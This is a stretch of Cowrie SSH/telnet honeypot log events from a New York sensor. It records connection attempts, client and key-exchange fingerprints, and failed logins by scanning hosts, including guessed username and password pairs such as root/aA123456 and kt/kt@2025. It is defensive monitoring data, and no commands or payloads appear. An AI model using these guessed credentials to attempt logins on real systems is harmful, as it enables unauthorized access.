{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:a6:96:c9:b4:c2:8e:97:25:24:28:a7:d5:e3:05:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8kDtIM1fsAJiKDbfqv8alzqQ9QxpFNlvypG5UTqM0d20qatVeeOkR70r5kzKn4nf9fW8OAPjJVWOEvnUFygIQT78/yxxP+f0Wovah/IRVMPD2EiGI2CxtUMRaZVEyaI5CqQpQHqdbn40iBXLFS1tALhgIEHH2Bf1p5C5e94RVtlvvL0KSPHPf//8S4Ic9LaG/LgWc9zNNfTaRCtMB84uiKmKIzGsZquBLhUUjxgLkjKByj3Q8MDG251tuFdOpJsoJ4M3cyF0TLIQtD0RkRWkMRwjqjZTaR2GPM0YsEvRogSCyME8KdwYuJFL07NCkh3/WOR+dECQf+ZixuQEFp0GuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:a6:96:c9:b4:c2:8e:97:25:24:28:a7:d5:e3:05:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.307955Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:a6:96:c9:b4:c2:8e:97:25:24:28:a7:d5:e3:05:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8kDtIM1fsAJiKDbfqv8alzqQ9QxpFNlvypG5UTqM0d20qatVeeOkR70r5kzKn4nf9fW8OAPjJVWOEvnUFygIQT78/yxxP+f0Wovah/IRVMPD2EiGI2CxtUMRaZVEyaI5CqQpQHqdbn40iBXLFS1tALhgIEHH2Bf1p5C5e94RVtlvvL0KSPHPf//8S4Ic9LaG/LgWc9zNNfTaRCtMB84uiKmKIzGsZquBLhUUjxgLkjKByj3Q8MDG251tuFdOpJsoJ4M3cyF0TLIQtD0RkRWkMRwjqjZTaR2GPM0YsEvRogSCyME8KdwYuJFL07NCkh3/WOR+dECQf+ZixuQEFp0GuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.311762Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:da:1c:f8:b7:bb:d9:dd:5b:42:28:af:34:e5:c1:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhGlxAmMUEilVyrcT9v+4m29lYFhLChU/OwZ9ehKzk+M7Wd0wVDAm6rW+u0saS9Nb2caCM4I3/NoB8o4unhmHfEp1bdkKA4v27gXNUihdk7eBWC5d2NqwAL/rf9O8ieZz9HpLxWnp5l2otCCkASWY5jNwOssi8l9pS3FZ0SOFJsAvpFsBLjbXBVmgDEctFWCdSQjo0LT1ckuI/N+Pd2l22tYH/QanwuHuE1v6xbgnen0PajBzjrjKnZShBt65QVym9LJ1lHHMh2+EjUldemBqvCyOgIzApCCLKD78MKUCHJK9KYKAvamfKibXpI99/Sr3EWqYmdX4ULIRAk6nBbrl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:da:1c:f8:b7:bb:d9:dd:5b:42:28:af:34:e5:c1:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.384794Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:da:1c:f8:b7:bb:d9:dd:5b:42:28:af:34:e5:c1:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhGlxAmMUEilVyrcT9v+4m29lYFhLChU/OwZ9ehKzk+M7Wd0wVDAm6rW+u0saS9Nb2caCM4I3/NoB8o4unhmHfEp1bdkKA4v27gXNUihdk7eBWC5d2NqwAL/rf9O8ieZz9HpLxWnp5l2otCCkASWY5jNwOssi8l9pS3FZ0SOFJsAvpFsBLjbXBVmgDEctFWCdSQjo0LT1ckuI/N+Pd2l22tYH/QanwuHuE1v6xbgnen0PajBzjrjKnZShBt65QVym9LJ1lHHMh2+EjUldemBqvCyOgIzApCCLKD78MKUCHJK9KYKAvamfKibXpI99/Sr3EWqYmdX4ULIRAk6nBbrl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.387879Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.3205132484436,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.436639Z","src_ip":"152.42.224.71","session":"37a9acb90754","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:a6:22:cd:65:5b:c4:a2:15:8f:1f:51:db:d9:f0:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBVYYfSuTIPGuVg0uqE3PT+ZJkfCSBFq3U+Jt2F6fXgYoqekQmN5pI9lw48yavjASxCEBXYtJhrPvKt2vm8E0F9slKvJ383OENYXHTMm+mHecsHMixhOqrVffjSCIXJG7yCmsmstN95ktTtxWga6DW1PGmioHUX7cnhWQnfedvqPTSp+RiHRsmVGF8gHvflbpMaKFnJbpQuOOAh4cdxdlt0LKUfJYQXtZv2fpNJI9AkEKt14+doaULiaz7YcLLKTj5lSRXLLMKattRrPT0GzYeiBYUw3WijUSIDHs6lsDBUrHTq9AOwiVX4v90HOLg0GXWM84ROuWJxV9V+K8CFV4D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:a6:22:cd:65:5b:c4:a2:15:8f:1f:51:db:d9:f0:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.456998Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:a6:22:cd:65:5b:c4:a2:15:8f:1f:51:db:d9:f0:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBVYYfSuTIPGuVg0uqE3PT+ZJkfCSBFq3U+Jt2F6fXgYoqekQmN5pI9lw48yavjASxCEBXYtJhrPvKt2vm8E0F9slKvJ383OENYXHTMm+mHecsHMixhOqrVffjSCIXJG7yCmsmstN95ktTtxWga6DW1PGmioHUX7cnhWQnfedvqPTSp+RiHRsmVGF8gHvflbpMaKFnJbpQuOOAh4cdxdlt0LKUfJYQXtZv2fpNJI9AkEKt14+doaULiaz7YcLLKTj5lSRXLLMKattRrPT0GzYeiBYUw3WijUSIDHs6lsDBUrHTq9AOwiVX4v90HOLg0GXWM84ROuWJxV9V+K8CFV4D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.460805Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:06.530071Z","src_ip":"148.135.45.163","session":"2084df6c4057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42548,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0e49b85c64b","protocol":"ssh","message":"New connection: 45.156.87.204:42548 (159.203.135.109:22) [session: a0e49b85c64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:07.058352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:07.061994Z","src_ip":"45.156.87.204","session":"a0e49b85c64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:07.143275Z","src_ip":"45.156.87.204","session":"a0e49b85c64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:07.391088Z","src_ip":"45.156.87.204","session":"a0e49b85c64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":52670,"dst_ip":"159.203.135.109","dst_port":22,"session":"09f1fdf4db72","protocol":"ssh","message":"New connection: 124.155.125.131:52670 (159.203.135.109:22) [session: 09f1fdf4db72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:08.198976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:08.204086Z","src_ip":"124.155.125.131","session":"09f1fdf4db72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:08.381917Z","src_ip":"124.155.125.131","session":"09f1fdf4db72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:08.476917Z","src_ip":"45.156.87.204","session":"a0e49b85c64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"finger","message":"login attempt [root/finger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:09.125805Z","src_ip":"124.155.125.131","session":"09f1fdf4db72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:10.307259Z","src_ip":"124.155.125.131","session":"09f1fdf4db72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42576,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7d1d43ea31f","protocol":"ssh","message":"New connection: 45.156.87.204:42576 (159.203.135.109:22) [session: e7d1d43ea31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:10.583488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:10.588830Z","src_ip":"45.156.87.204","session":"e7d1d43ea31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.53288984298706,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:10.864342Z","src_ip":"152.42.224.71","session":"ed4bf1aed510","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:10.894467Z","src_ip":"45.156.87.204","session":"e7d1d43ea31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49604,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e43709d0e3","protocol":"telnet","message":"New connection: 152.42.224.71:49604 (10.17.0.5:23) [session: e8e43709d0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:11.323552Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:11.386069Z","src_ip":"45.156.87.204","session":"e7d1d43ea31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:12.470986Z","src_ip":"45.156.87.204","session":"e7d1d43ea31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.907212257385254,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:12.868198Z","src_ip":"152.42.224.71","session":"9ffd032a949f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":53304,"dst_ip":"159.203.135.109","dst_port":22,"session":"659d1d89534d","protocol":"ssh","message":"New connection: 47.237.167.49:53304 (159.203.135.109:22) [session: 659d1d89534d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:13.231880Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45422,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb440607b208","protocol":"ssh","message":"New connection: 45.156.87.204:45422 (159.203.135.109:22) [session: bb440607b208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:14.684710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:14.691528Z","src_ip":"45.156.87.204","session":"bb440607b208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:14.777797Z","src_ip":"45.156.87.204","session":"bb440607b208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":53182,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6bc95c44427","protocol":"ssh","message":"New connection: 42.200.78.78:53182 (159.203.135.109:22) [session: f6bc95c44427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:15.021676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:15.031744Z","src_ip":"42.200.78.78","session":"f6bc95c44427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:15.037083Z","src_ip":"45.156.87.204","session":"bb440607b208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:15.249512Z","src_ip":"42.200.78.78","session":"f6bc95c44427","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:16.058979Z","src_ip":"47.237.167.49","session":"659d1d89534d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:16.130049Z","src_ip":"45.156.87.204","session":"bb440607b208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kt","password":"kt@2025","message":"login attempt [kt/kt@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:16.149112Z","src_ip":"42.200.78.78","session":"f6bc95c44427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:16.286859Z","src_ip":"47.237.167.49","session":"659d1d89534d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:17.367883Z","src_ip":"42.200.78.78","session":"f6bc95c44427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45424,"dst_ip":"159.203.135.109","dst_port":22,"session":"113028d1352c","protocol":"ssh","message":"New connection: 45.156.87.204:45424 (159.203.135.109:22) [session: 113028d1352c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:18.212613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:18.222603Z","src_ip":"45.156.87.204","session":"113028d1352c","protocol":"ssh"}
